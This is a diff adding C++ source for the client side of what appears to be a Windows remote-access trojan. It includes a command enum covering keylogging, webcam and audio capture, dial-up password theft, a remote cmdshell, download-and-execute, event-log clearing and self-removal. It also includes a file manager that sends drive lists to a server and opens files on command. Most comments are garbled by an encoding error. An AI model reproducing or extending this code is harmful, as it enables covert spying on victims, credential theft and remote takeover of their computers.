COMMAND_SCREEN_CONTROL, // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_SCREEN_BLOCK_INPUT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˼<EFBFBD><CBBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_SCREEN_BLANK, // <20><><EFBFBD><EFBFBD><EFBFBD>˺<EFBFBD><CBBA><EFBFBD>
|
||||||
|
COMMAND_SCREEN_CAPTURE_LAYER, // <20><><EFBFBD><D7BD>
|
||||||
|
COMMAND_SCREEN_GET_CLIPBOARD, // <20><>ȡԶ<C8A1>̼<EFBFBD><CCBC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_SCREEN_SET_CLIPBOARD, // <20><><EFBFBD><EFBFBD>Զ<EFBFBD>̼<EFBFBD><CCBC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
COMMAND_WEBCAM, // <20><><EFBFBD><EFBFBD>ͷ
|
||||||
|
COMMAND_WEBCAM_ENABLECOMPRESS, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>Ҫ<EFBFBD><EFBFBD>H263ѹ<33><D1B9>
|
||||||
|
COMMAND_WEBCAM_DISABLECOMPRESS, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>ԭʼ<D4AD><CABC><EFBFBD><EFBFBD>ģʽ
|
||||||
|
COMMAND_WEBCAM_RESIZE, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1>ʣ<EFBFBD><CAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>INT<4E>͵Ŀ<CDB5><C4BF><EFBFBD>
|
||||||
|
COMMAND_NEXT, // <20><>һ<EFBFBD><D2BB>(<28><><EFBFBD>ƶ<EFBFBD><C6B6>Ѿ<EFBFBD><D1BE>Ի<F2BFAAB6><D4BB><EFBFBD>)
|
||||||
|
|
||||||
|
COMMAND_KEYBOARD, // <20><><EFBFBD>̼<EFBFBD>¼
|
||||||
|
COMMAND_KEYBOARD_OFFLINE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><DFBC>̼<EFBFBD>¼
|
||||||
|
COMMAND_KEYBOARD_CLEAR, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
COMMAND_AUDIO, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
COMMAND_SYSTEM, // ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣<EFBFBD><CCA3><EFBFBD><EFBFBD><EFBFBD>....<2E><>
|
||||||
|
COMMAND_PSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||||
|
COMMAND_WSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||||
|
COMMAND_DIALUPASS, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_KILLPROCESS, // <20>رս<D8B1><D5BD><EFBFBD>
|
||||||
|
COMMAND_SHELL, // cmdshell
|
||||||
|
COMMAND_SESSION, // <20>Ự<EFBFBD><E1BBB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2>, ж<>أ<EFBFBD>
|
||||||
|
COMMAND_REMOVE, // ж<>غ<EFBFBD><D8BA><EFBFBD>
|
||||||
|
COMMAND_DOWN_EXEC, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>
|
||||||
|
COMMAND_UPDATE_SERVER, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD>ظ<EFBFBD><D8B8><EFBFBD>
|
||||||
|
COMMAND_CLEAN_EVENT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3>־
|
||||||
|
COMMAND_OPEN_URL_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>ҳ
|
||||||
|
COMMAND_OPEN_URL_SHOW, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ
|
||||||
|
COMMAND_RENAME_REMARK, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע
|
||||||
|
COMMAND_REPLAY_HEARTBEAT, // <20>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_SERVICES, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_REGEDIT,
|
||||||
|
COMMAND_TALK, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>֤
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
|
||||||
|
TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤
|
||||||
|
TOKEN_HEARTBEAT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
TOKEN_LOGIN, // <20><><EFBFBD>߰<EFBFBD>
|
||||||
|
TOKEN_DRIVE_LIST, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||||
|
TOKEN_FILE_LIST, // <20>ļ<EFBFBD><C4BC>б<EFBFBD>
|
||||||
|
TOKEN_FILE_SIZE, // <20>ļ<EFBFBD><C4BC><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʱ<EFBFBD><CAB1>
|
||||||
|
TOKEN_FILE_DATA, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
TOKEN_TRANSFER_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
TOKEN_DELETE_FINISH, // ɾ<><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
TOKEN_GET_TRANSFER_MODE, // <20>õ<EFBFBD><C3B5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>䷽ʽ
|
||||||
|
TOKEN_GET_FILEDATA, // Զ<>̵õ<CCB5><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
TOKEN_CREATEFOLDER_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
TOKEN_DATA_CONTINUE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
TOKEN_RENAME_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
TOKEN_EXCEPTION, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>쳣
|
||||||
|
|
||||||
|
TOKEN_BITMAPINFO, // <20><>Ļ<EFBFBD>鿴<EFBFBD><E9BFB4>BITMAPINFO
|
||||||
|
TOKEN_FIRSTSCREEN, // <20><>Ļ<EFBFBD>鿴<EFBFBD>ĵ<EFBFBD>һ<EFBFBD><D2BB>ͼ
|
||||||
|
TOKEN_NEXTSCREEN, // <20><>Ļ<EFBFBD>鿴<EFBFBD><E9BFB4><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ͼ
|
||||||
|
TOKEN_CLIPBOARD_TEXT, // <20><>Ļ<EFBFBD>鿴ʱ<E9BFB4><CAB1><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
TOKEN_WEBCAM_BITMAPINFO, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>BITMAPINFOHEADER
|
||||||
|
TOKEN_WEBCAM_DIB, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
TOKEN_AUDIO_START, // <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
TOKEN_AUDIO_DATA, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
TOKEN_KEYBOARD_START, // <20><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC>ʼ
|
||||||
|
TOKEN_KEYBOARD_DATA, // <20><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
TOKEN_PSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||||
|
TOKEN_WSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||||
|
TOKEN_DIALUPASS, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
TOKEN_SHELL_START, // Զ<><D4B6><EFBFBD>ն˿<D5B6>ʼ
|
||||||
|
TOKEN_SERVERLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||||
|
COMMAND_SERVICELIST, // ˢ<>·<EFBFBD><C2B7><EFBFBD><EFBFBD>б<EFBFBD>
|
||||||
|
COMMAND_SERVICECONFIG, // <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
|
||||||
|
TOKEN_TALK_START, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>ʼ
|
||||||
|
TOKEN_TALKCMPLT, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2><EFBFBD>ط<EFBFBD>
|
||||||
|
TOKEN_REGEDIT = 200, // ע<><D7A2><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_REG_FIND, //ע<><D7A2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ
|
||||||
|
TOKEN_REG_KEY,
|
||||||
|
TOKEN_REG_PATH,
|
||||||
|
COMMAND_BYE
|
||||||
|
};
|
||||||
|
|
||||||
|
|
||||||
|
typedef struct _THREAD_ARG_LIST
|
||||||
|
{
|
||||||
|
DWORD (WINAPI *StartAddress)(LPVOID lParameter);
|
||||||
|
LPVOID lParam;
|
||||||
|
bool bInteractive; // <20>Ƿ<EFBFBD>֧<EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ??
|
||||||
|
HANDLE hEvent;
|
||||||
|
}THREAD_ARG_LIST, *LPTHREAD_ARG_LIST;
|
||||||
|
|
||||||
|
HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes, //<2F><>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>
|
||||||
|
SIZE_T dwStackSize, //<2F>߳<EFBFBD>ջ<EFBFBD>Ĵ<EFBFBD>С 0
|
||||||
|
LPTHREAD_START_ROUTINE StartAddress, //<2F>̺߳<DFB3><CCBA><EFBFBD><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD> MyMain
|
||||||
|
LPVOID lParam, //char* strHost IP
|
||||||
|
DWORD dwCreationFlags, //0 4
|
||||||
|
LPDWORD ThreadId, bool bInteractive=FALSE);
|
||||||
|
|
||||||
|
DWORD WINAPI ThreadProc(LPVOID lParam);
|
||||||
|
|
||||||
|
DWORD WINAPI LoopShellManager(LPVOID lParam);
|
||||||
|
DWORD WINAPI LoopScreenManager(LPVOID lParam);
|
||||||
|
DWORD WINAPI LoopFileManager(LPVOID lParam);
|
||||||
|
DWORD WINAPI LoopTalkManager(LPVOID lParam);
|
||||||
|
DWORD WINAPI LoopProcessManager(LPVOID lParam);
|
||||||
|
DWORD WINAPI LoopWindowManager(LPVOID lParam);
|
||||||
|
DWORD WINAPI LoopVideoManager(LPVOID lParam);
|
||||||
|
DWORD WINAPI LoopAudioManager(LPVOID lParam);
|
||||||
|
DWORD WINAPI LoopRegisterManager(LPVOID lParam);
|
||||||
|
DWORD WINAPI LoopServicesManager(LPVOID lParam);
|
||||||
40
client/CursorInfor.cpp
Normal file
40
client/CursorInfor.cpp
Normal file
@@ -0,0 +1,40 @@
|
|||||||
|
// CursorInfor.cpp: implementation of the CCursorInfor class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "CursorInfor.h"
|
||||||
|
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
// Construction/Destruction
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
CCursorInfor::CCursorInfor()
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
CCursorInfor::~CCursorInfor()
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
int CCursorInfor::GetCurrentCursorIndex()
|
||||||
|
{
|
||||||
|
CURSORINFO ci;
|
||||||
|
ci.cbSize = sizeof(CURSORINFO);
|
||||||
|
if (!GetCursorInfo(&ci) || ci.flags != CURSOR_SHOWING)
|
||||||
|
{
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
int iIndex = 0;
|
||||||
|
for (iIndex = 0; iIndex < MAX_CURSOR_TYPE; iIndex++)
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
DestroyCursor(ci.hCursor);
|
||||||
|
|
||||||
|
return iIndex == MAX_CURSOR_TYPE ? -1 : iIndex;
|
||||||
|
}
|
||||||
22
client/CursorInfor.h
Normal file
22
client/CursorInfor.h
Normal file
@@ -0,0 +1,22 @@
|
|||||||
|
// CursorInfor.h: interface for the CCursorInfor class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#if !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)
|
||||||
|
#define AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_
|
||||||
|
|
||||||
|
#if _MSC_VER > 1000
|
||||||
|
#pragma once
|
||||||
|
#endif // _MSC_VER > 1000
|
||||||
|
|
||||||
|
#define MAX_CURSOR_TYPE 16
|
||||||
|
class CCursorInfor
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CCursorInfor();
|
||||||
|
virtual ~CCursorInfor();
|
||||||
|
|
||||||
|
int GetCurrentCursorIndex();
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)
|
||||||
3
client/ExportFunTable.def
Normal file
3
client/ExportFunTable.def
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
EXPORTS
|
||||||
|
TestRun
|
||||||
|
StopRun
|
||||||
497
client/FileManager.cpp
Normal file
497
client/FileManager.cpp
Normal file
@@ -0,0 +1,497 @@
|
|||||||
|
// FileManager.cpp: implementation of the CFileManager class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "FileManager.h"
|
||||||
|
#include "Common.h"
|
||||||
|
#include <Shellapi.h>
|
||||||
|
#include <IOSTREAM>
|
||||||
|
using namespace std;
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
// Construction/Destruction
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
CFileManager::CFileManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||||||
|
{
|
||||||
|
m_ulTransferMode = TRANSFER_MODE_NORMAL;
|
||||||
|
|
||||||
|
SendDiskDriverList();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
ULONG CFileManager::SendDiskDriverList() //<2F><><EFBFBD>ñ<EFBFBD><C3B1>ض˵Ĵ<CBB5><C4B4><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||||
|
{
|
||||||
|
char szDiskDriverString[0x500] = {0};
|
||||||
|
// ǰһ<C7B0><D2BB><EFBFBD>ֽ<EFBFBD>Ϊ<EFBFBD><CEAA>Ϣ<EFBFBD><CFA2><EFBFBD>ͣ<EFBFBD><CDA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>52<35>ֽ<EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
BYTE szBuffer[0x1000] = {0};
|
||||||
|
char szFileSystem[MAX_PATH] = {0};
|
||||||
|
char *Travel = NULL;
|
||||||
|
szBuffer[0] = TOKEN_DRIVE_LIST; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||||
|
GetLogicalDriveStrings(sizeof(szDiskDriverString), szDiskDriverString);
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||||
|
//0018F460 43 3A 5C 00 44 3A 5C 00 45 3A 5C 00 46 3A C:\.D:\.E:\.F:
|
||||||
|
//0018F46E 5C 00 47 3A 5C 00 48 3A 5C 00 4A 3A 5C 00 \.G:\.H:\.J:\.
|
||||||
|
|
||||||
|
Travel = szDiskDriverString;
|
||||||
|
|
||||||
|
unsigned __int64 ulHardDiskAmount = 0; //HardDisk
|
||||||
|
unsigned __int64 ulHardDiskFreeSpace = 0;
|
||||||
|
unsigned long ulHardDiskAmountMB = 0; // <20>ܴ<EFBFBD>С
|
||||||
|
unsigned long ulHardDiskFreeMB = 0; // ʣ<><CAA3><EFBFBD>ռ<EFBFBD>
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||||
|
//0018F460 43 3A 5C 00 44 3A 5C 00 45 3A 5C 00 46 3A C:\.D:\.E:\.F:
|
||||||
|
//0018F46E 5C 00 47 3A 5C 00 48 3A 5C 00 4A 3A 5C 00 \.G:\.H:\.J:\. \0
|
||||||
|
|
||||||
|
//ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>dwOffset<65><74><EFBFBD>ܴ<EFBFBD>0 <20><>Ϊ0<CEAA><30>λ<EFBFBD>洢<EFBFBD><E6B4A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD>
|
||||||
|
DWORD dwOffset = 1;
|
||||||
|
for (; *Travel != '\0'; Travel += lstrlen(Travel) + 1) //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>+1Ϊ<31>˹<EFBFBD>\0
|
||||||
|
{
|
||||||
|
memset(szFileSystem, 0, sizeof(szFileSystem));
|
||||||
|
|
||||||
|
// <20>õ<EFBFBD><C3B5>ļ<EFBFBD>ϵͳ<CFB5><CDB3>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD>С
|
||||||
|
GetVolumeInformation(Travel, NULL, 0, NULL, NULL, NULL, szFileSystem, MAX_PATH);
|
||||||
|
ULONG ulFileSystemLength = lstrlen(szFileSystem) + 1;
|
||||||
|
|
||||||
|
SHFILEINFO sfi;
|
||||||
|
SHGetFileInfo(Travel,FILE_ATTRIBUTE_NORMAL,&sfi,
|
||||||
|
sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
|
||||||
|
|
||||||
|
ULONG ulDiskTypeNameLength = lstrlen(sfi.szTypeName) + 1;
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̴<EFBFBD>С
|
||||||
|
if (Travel[0] != 'A' && Travel[0] != 'B'
|
||||||
|
&& GetDiskFreeSpaceEx(Travel, (PULARGE_INTEGER)&ulHardDiskFreeSpace,
|
||||||
|
(PULARGE_INTEGER)&ulHardDiskAmount, NULL))
|
||||||
|
{
|
||||||
|
ulHardDiskAmountMB = ulHardDiskAmount / 1024 / 1024; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD>Ҫת<D2AA><D7AA><EFBFBD><EFBFBD>G
|
||||||
|
ulHardDiskFreeMB = ulHardDiskFreeSpace / 1024 / 1024;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
ulHardDiskAmountMB = 0;
|
||||||
|
ulHardDiskFreeMB = 0;
|
||||||
|
}
|
||||||
|
// <20><>ʼ<EFBFBD><CABC>ֵ
|
||||||
|
szBuffer[dwOffset] = Travel[0]; //<2F>̷<EFBFBD>
|
||||||
|
szBuffer[dwOffset + 1] = GetDriveType(Travel); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
// <20><><EFBFBD>̿ռ<CCBF><D5BC><EFBFBD><EFBFBD><EFBFBD>ռȥ<D5BC><C8A5>8<EFBFBD>ֽ<EFBFBD>
|
||||||
|
memcpy(szBuffer + dwOffset + 2, &ulHardDiskAmountMB, sizeof(unsigned long));
|
||||||
|
memcpy(szBuffer + dwOffset + 6, &ulHardDiskFreeMB, sizeof(unsigned long));
|
||||||
|
|
||||||
|
// <20><><EFBFBD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
memcpy(szBuffer + dwOffset + 10, sfi.szTypeName, ulDiskTypeNameLength);
|
||||||
|
memcpy(szBuffer + dwOffset + 10 + ulDiskTypeNameLength, szFileSystem,
|
||||||
|
ulFileSystemLength);
|
||||||
|
|
||||||
|
dwOffset += 10 + ulDiskTypeNameLength + ulFileSystemLength;
|
||||||
|
}
|
||||||
|
|
||||||
|
return m_ClientObject->OnServerSending((char*)szBuffer, dwOffset);
|
||||||
|
}
|
||||||
|
|
||||||
|
CFileManager::~CFileManager()
|
||||||
|
{
|
||||||
|
cout<<"Զ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<<endl;
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CFileManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||||
|
{
|
||||||
|
switch(szBuffer[0])
|
||||||
|
{
|
||||||
|
case COMMAND_LIST_FILES:
|
||||||
|
{
|
||||||
|
SendFilesList((char*)szBuffer + 1); //<2F><>һ<EFBFBD><D2BB><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD>Ϣ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case COMMAND_FILE_SIZE:
|
||||||
|
{
|
||||||
|
CreateClientRecvFile(szBuffer + 1);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case COMMAND_FILE_DATA:
|
||||||
|
{
|
||||||
|
WriteClientRecvFile(szBuffer + 1, ulLength-1);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case COMMAND_SET_TRANSFER_MODE:
|
||||||
|
{
|
||||||
|
SetTransferMode(szBuffer + 1);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case COMMAND_OPEN_FILE_SHOW:
|
||||||
|
{
|
||||||
|
ShellExecute(NULL, "open", (char*)(szBuffer + 1), NULL, NULL, SW_SHOW); //CreateProcess
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case COMMAND_RENAME_FILE:
|
||||||
|
{
|
||||||
|
szBuffer+=1;
|
||||||
|
char* szExistingFileFullPath = NULL;
|
||||||
|
char* szNewFileFullPath = NULL;
|
||||||
|
szNewFileFullPath = szExistingFileFullPath = (char*)szBuffer;
|
||||||
|
|
||||||
|
szNewFileFullPath += strlen((char*)szNewFileFullPath)+1;
|
||||||
|
|
||||||
|
Rename(szExistingFileFullPath,szNewFileFullPath);
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//dkfj C:\1.txt\0 D:\3.txt\0
|
||||||
|
VOID CFileManager::Rename(char* szExistingFileFullPath,char* szNewFileFullPath)
|
||||||
|
{
|
||||||
|
MoveFile(szExistingFileFullPath, szNewFileFullPath);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
VOID CFileManager::SetTransferMode(LPBYTE szBuffer)
|
||||||
|
{
|
||||||
|
memcpy(&m_ulTransferMode, szBuffer, sizeof(m_ulTransferMode));
|
||||||
|
GetFileData();
|
||||||
|
}
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С
|
||||||
|
VOID CFileManager::CreateClientRecvFile(LPBYTE szBuffer)
|
||||||
|
{
|
||||||
|
// //[Flag 0001 0001 E:\1.txt\0 ]
|
||||||
|
FILE_SIZE* FileSize = (FILE_SIZE*)szBuffer;
|
||||||
|
// <20><><EFBFBD>浱ǰ<E6B5B1><C7B0><EFBFBD>ڲ<EFBFBD><DAB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||||
|
memset(m_szOperatingFileName, 0,
|
||||||
|
sizeof(m_szOperatingFileName));
|
||||||
|
strcpy(m_szOperatingFileName, (char *)szBuffer + 8); //<2F>Ѿ<EFBFBD>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD>Ϣͷ<CFA2><CDB7>
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
m_OperatingFileLength =
|
||||||
|
(FileSize->dwSizeHigh * (MAXDWORD + 1)) + FileSize->dwSizeLow;
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
|
||||||
|
MakeSureDirectoryPathExists(m_szOperatingFileName);
|
||||||
|
|
||||||
|
WIN32_FIND_DATA wfa;
|
||||||
|
HANDLE hFind = FindFirstFile(m_szOperatingFileName, &wfa);
|
||||||
|
|
||||||
|
//1 2 3 1 2 3
|
||||||
|
if (hFind != INVALID_HANDLE_VALUE
|
||||||
|
&& m_ulTransferMode != TRANSFER_MODE_OVERWRITE_ALL
|
||||||
|
&& m_ulTransferMode != TRANSFER_MODE_JUMP_ALL
|
||||||
|
)
|
||||||
|
{
|
||||||
|
BYTE bToken[1];
|
||||||
|
bToken[0] = TOKEN_GET_TRANSFER_MODE;
|
||||||
|
m_ClientObject->OnServerSending((char*)&bToken, sizeof(bToken));
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
GetFileData(); //<2F><><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD>ļ<EFBFBD><C4BC>ͻ<EFBFBD>ִ<EFBFBD>е<EFBFBD><D0B5><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
}
|
||||||
|
FindClose(hFind);
|
||||||
|
}
|
||||||
|
|
||||||
|
